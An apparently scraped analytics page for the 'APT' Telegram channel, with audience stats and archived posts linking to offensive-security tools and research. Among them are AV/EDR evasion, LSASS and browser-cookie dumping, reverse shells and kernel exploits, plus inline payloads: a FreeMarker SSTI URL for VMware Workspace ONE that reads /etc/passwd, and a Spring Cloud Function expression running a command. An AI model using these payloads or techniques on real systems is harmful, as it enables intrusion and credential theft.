APT

Відкрити в Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

Росія45 631 Технології та додатки8 841...

📈 Аналітичний огляд Telegram-каналу APT

Канал APT (@apt_notes) у мовному сегменті Англійська є активним учасником. На даний момент спільнота об'єднує 14 658 підписників, посідаючи 8 841 місце в категорії Технології та додатки та 45 631 місце у регіоні Росія.

📊 Показники аудиторії та динаміка

З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 14 658 підписників.

За останніми даними від 12 червня, 2026, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на 406, а за останні 24 години на 7, загальне охоплення залишається високим.

Статус верифікації: Не верифікований
Рівень залученості (ER): Середній показник залученості аудиторії становить 49.89%. Протягом перших 24 годин після публікації контент зазвичай збирає N/A% реакцій від загальної кількості підписників.
Охоплення публікацій: В середньому кожен допис отримує 7 313 переглядів. Протягом першої доби публікація в середньому набирає 0 переглядів.
Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 20.

📝 Опис та контентна політика

Автор описує ресурс як майданчик для висловлення суб'єктивної думки:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

Завдяки високій частоті оновлень (останні дані отримано 13 червня, 2026), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Технології та додатки.

14 658

Підписники

+724 години

+1007 днів

+40630 день

7 313

Перегляди допису

Немає даних24 години

Немає даних48 годин

49.89%

Коефіцієнт залучення

Немає даних

Дописів на день

Ads index

beta

Архів дописів

14 669

Coercing NTLM Authentication from SCCM https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a #ad #ntlm #sccm

14 669

VMware Workspace ONE — SSTI (CVE-2022-22954) Successful exploitation could lead to RCE from an unauthenticated user. Payload:

https://victim/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

#vmware #workspace #ssti #cve

14 669

AppRecoveryCallback Inject Overwrite a process's recovery callback and invoke a crash to execute https://github.com/Wra7h/ARCInject #av #edr #evasion #inject #csharp

14 669

How NAT traversal works This blog post about NAT and NAT traversal is truly awesome! https://tailscale.com/blog/how-nat-traversal-works/ #howto #nat #blog

14 669

Remotely Dumping Chrome Cookies The method in this blog post does not require the remote debugger or Keychain (macOS)/DPAPI (Windows) access and applies to Chromium-based browsers in general https://cedowens.medium.com/remotely-dumping-chrome-cookies-revisited-b25343257209 #chrome #cookie #dump #blog

14 669

Rockyou for Web Fuzzing This is a wordlist for fuzzing purposes made from the best wordlists currently available, lowercased and deduplicated later with duplicut, added cleaner from BonJarber. The lists used have been some selected within these repositories:

— fuzzdb
— SecLists
— xmendez
— minimaxir
— TheRook
— danielmiessler
— swisskyrepo
— 1N3
— cujanovic
— lavalamp
— ics-default
— jeanphorn
— j3ers3
— nyxxxie
— dirbuster
— dotdotpwn
— hackerone_wordlist
— commonspeak2
— bruteforce-list
— assetnote

https://github.com/six2dez/OneListForAll #web #fuzzing #wordlist

14 669

Unmanaged Code Execution with .NET Dynamic PInvoke https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ #edr #evasion #pinvoke #csharp #blog

14 669

Spring4Shell Scan A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities Features: — Support for lists of URLs. — Fuzzing for more than 10 new Spring4Shell payloads (previously seen tools uses only 1-2 variants). — Fuzzing for HTTP GET and POST methods. — Automatic validation of the vulnerability upon discovery. — Randomized and non-intrusive payloads. — WAF Bypass payloads. https://github.com/fullhunt/spring4shell-scan #spring4shell #spring #scan #tools

14 669

[Blog] Unmanaged Code Execution with .NET Dynamic PInvoke https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ #edr #evasion #pinvoke #csharp

14 669

The Bug Hunter Methodology PDF: https://www.ceos3c.com/wp-content/uploads/2020/06/Bug-Hunter-Methodology-V4-Visualization.pdf #bugbounty #methodology #xmind

14 669

$LOLBIN to dump LSASS Path: C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extens$

LOLBIN to dump LSASS Path: C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions Binary: DumpMinitool.exe #lolbin #lsass #dump

14 669

SpringShell: Spring Core RCE (CVE-2022-22963) PoC Payload:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xcalc")

Research: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Exploit: https://github.com/craig/SpringCore0day

#spring #exploit #rce #cve

14 669

Guest User abuse in Azure AD Dear BlueTeam, save yourself from the RedTeam and enable these settings in your Azure tenant! Otherwise, every "Guest" you invite in your Microsoft Team meetings can list users from other groups etc. #azure #teams #guest #redteam #blueteam

14 669

PSSW100AVB This is the PSSW100AVB (Powershell Scripts With 100% AV Bypass) Framework. A list of useful Powershell scripts with 100% AV bypass ratio. (At the time of publication). Latest Reverse shell tested on Windows 11 (ReverseShell_2022_03.ps1) https://github.com/tihanyin/PSSW100AVB #av #evasion #amsi #powershell #ps1

14 669

LDAP relays for initial foothold in dire situations https://offsec.almond.consulting/ldap-relays-for-initial-foothold-in-dire-situations.html #ad #relay #attack #adcs #redteam

14 669

CVE-2022-27666 This is the exploit for CVE-2022-27666, a vulnerability that achieves local privilege escalation on the latest Ubuntu Desktop 21.10. Research: https://etenal.me/archives/1825 Exploit: https://github.com/plummm/CVE-2022-27666 #ubuntu #lpe #linux

14 669

Azure Dominance Paths You are looking for a comprehensive map of Azure and Azure AD attack paths? Look no further, this is the right blog for you. https://cloudbrothers.info/en/azure-dominance-paths/ #azure #cloud #redteam #blueteam

14 669

CVE-2022-0995 This is my exploit for CVE-2022-0995, an heap out-of-bounds write in the watch_queue Linux kernel component. It uses the same technique described in https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html. The exploit targets Ubuntu 21.10 with kernel 5.13.0-37. The exploit is not 100% reliable, you may need to run it a couple of times. It may panic the kernel, but during my tests it happened rarely. https://github.com/Bonfee/CVE-2022-0995 #linux #lpe #exploit #cve

14 669

ntTraceControl — Powershell Event Tracing Toolbox Want to simulate any ETW logs using powershell, even the security one? Do you want to import any evtx files into the current eventlog session? ntTraceControl is a set of Powershell commands to forge/generate Windows logs. Simply put, ntTraceControl supports Detection teams by simplifying the testing of detection use cases and alerts without using complex infrastructure, tools, or the testing of vulnerabilities. https://github.com/airbus-cert/ntTraceControl #etw #simulate #powershell #redteam #blueteam

14 669

Windows Event Log Evasion via Native APIs Some native Windows API calls can be used to install services WITHOUT generating correlating entries in the event log. This was seen in Stuxnet. https://www.inversecos.com/2022/03/windows-event-log-evasion-via-native.html #edr #event #log #evasion